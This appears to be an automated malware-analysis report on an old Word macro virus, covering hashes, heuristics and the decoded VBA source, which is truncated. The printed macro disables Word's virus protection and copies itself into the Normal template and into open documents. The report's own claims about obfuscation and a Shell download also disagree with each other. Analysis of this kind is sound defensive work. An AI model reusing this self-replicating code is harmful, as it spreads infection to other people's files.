Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c2ca16b17a60303…

MALICIOUS

Office (OLE)

74.0 KB Created: 1999-04-22 01:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0ca9a768fbe489879709b8b59d1e89a7 SHA-1: a050050317d04614c51d273c6c914ceb26988e28 SHA-256: 7c2ca16b17a6030378199208c9da871102d41d7fec506cc5c2f0e86bbe09b91f
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros that utilize the Shell() function to download and execute a payload from an embedded URL. The macro attempts to copy itself to the active document and the normal template, and then executes a 'PayLoad' subroutine. The presence of Shell() calls and obfuscated URLs strongly indicates a downloader or droppper functionality.

Heuristics 6

  • ClamAV: Doc.Trojan.Ded-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ded-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.marfan.org Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19495 bytes
SHA-256: bf619e922bb0ee9d466f9d14b3e97c04cca1197395212523e437bce9b8feffec
Detection
ClamAV: Doc.Trojan.Ded-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'MarfanSyndrome!

On Error GoTo skammy

' Disable That Pesky This Document Has Macros Features
Options.VirusProtection = False

' 50% Chance of Parent Passing the Disease to Children
Randomize
If Int(2 * Rnd) = 1 Then
    Marfan_Syndrome
End If

skammy:
End Sub
 
'Copy From This Macro From The Normal Template to the Active Document
Private Sub Marfan_Syndrome()
If Not ActiveDocument.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    For I = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
        lineofcode = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
        ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines I * 2, lineofcode
     Next I
    ' Run The Payload
    PayLoad
    ' Save it
    ActiveDocument.SaveAs AddToRecentFiles:=False
Else
'Copy This Macro From The Active Document to the Normal Template
If Not NormalTemplate.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    For I = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
        lineofcode = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
        NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines I * 2, lineofcode
    Next I
    ' Save It
    NormalTemplate.Save
End If
End If
End Sub

Private Sub PayLoad()

Symptoms = 0
SymptomsString = "Symptoms Found\n-------------\n"

' Is the Document Abnormally Tall?
If ActiveDocument.PageSetup.PageHeight > 720 Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Your Document Was Abnormally Tall (Long)\n"
End If

' A Large Font Could Be A Sign Of Extreme NearsightedneSymptomsString
If ActiveDocument.Range(Start:=0, End:=1).Font.Size > 12 Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Your Document Showed Signs of NearsightedneSymptomsString\n"
End If

' Flat Feet is Another Bad Sign
With ActiveDocument.Sections(1).Footers(wdHeaderFooterPrimary)
    If .Range.Text = vbCr Then
        Symptoms = Symptoms + 1
        SymptomsString = SymptomsString + "Your Document Had Flat Feet\n"
    End If
End With

' User Didnt Type That Much... Bad Joints?
If ActiveDocument.Words.Count < 100 Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Possible Bad Joints Were Detected\n"
End If
       
' No MathCoPorceSymptomsStringor!  User probably feels Chest Pains.
If System.MathCoprocessorInstalled = False Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Your Computer Does Not Have A MathCoProceSymptomsStringor (Chest Pains)\n"
End If

' Bad Posture or Slouching is a Big Tipoff!
If ActiveDocument.PageSetup.BottomMargin <> ActiveDocument.PageSetup.TopMargin Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Your Document Showed Signs of Slouching or Bad Posture\n"

End If

' Abnormally Long Arms or Legs is A Symptom
If ActiveDocument.PageSetup.LeftMargin > 90 Or ActiveDocument.PageSetup.BottomMargin > 72 Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Your Document Showed Signs of Long Arms or Legs\n"
End If
    
' A High Palette in the Mouth Could be a Clue
If ActiveDocument.PageSetup.TopMargin > 72 Then
    Symptoms = Symptoms + 1
    SymptomsString = SymptomsString + "Your Document Showed Signs of a High Palette\n"
End If
    
' Marfan Recommends Thorough Checkups If You Have More Than 2 Symptoms!
If Symptoms > 2 Then

    ' Have We Created The Batch Files Yet?
    With Application.FileSearch
        .NewSearch
        .LookIn = "c:\"
        .SearchSubFolders = False
        .fileName = "marfan.bat"
        .MatchTextExactly = True
... (truncated)

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